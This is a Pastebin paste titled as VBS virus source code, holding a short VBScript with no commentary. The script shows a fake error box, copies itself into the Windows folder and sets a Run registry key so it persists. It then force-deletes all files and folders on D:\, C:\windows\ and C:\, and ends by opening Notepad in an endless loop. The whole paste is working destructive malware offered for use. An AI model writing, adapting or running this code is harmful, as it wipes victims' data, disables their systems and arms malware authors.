Advertisement
FlyFar

040120 - VBS Virus Source Code

Feb 14th, 2023
1,588
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Code:
  2. msgbox"Error !"
  3. On Error Resume Next
  4. Set vip_xinh = Createobject("scripting.filesystemobject")
  5. vip_xinh.copyfile wscript.scriptfullname,vip_xinh.GetSpecialFolder(0 )& "\ vip_xinh.vbs"
  6. Set vip_xinh2= CreateObject("WScript.Shell")
  7. vip_xinh2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ru n\die","wscript.exe "& vip_xinh.GetSpecialFolder(0)& "\ vip_xinh.vbs %"
  8.  
  9. On Error Resume Next
  10. Const vic = "D:\"
  11. Delvic
  12. Sub Delvic()
  13. Dim fso
  14. Set fso = CreateObject("Scripting.FileSystemObject")
  15. fso.DeleteFile vic & "*.*" , True
  16. fso.DeleteFolder vic & "*" , True
  17. End Sub
  18.  
  19. On Error Resume Next
  20. Const vic1 = "C:\windows\"
  21. Delvic1
  22. Sub Delvic1()
  23. Dim fso1
  24. Set fso1 = CreateObject("Scripting.FileSystemObject")
  25. fso1.DeleteFile vic1 & "*.*" , True
  26. fso1.DeleteFolder vic1 & "*" , True
  27. End Sub
  28.  
  29. On Error Resume Next
  30. Const vic2 = "C:\"
  31. Delvic2
  32. Sub Delvic2()
  33. Dim fso2
  34. Set fso2 = CreateObject("Scripting.FileSystemObject")
  35. fso2.DeleteFile vic2 & "*.*" , True
  36. fso2.DeleteFolder vic2 & "*" , True
  37. End Sub
  38.  
  39. On Error Resume Next
  40. Set machinelag= CreateObject("WScript.Shell")
  41. Do
  42. machinelag.run "notepad",false
  43. loop
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement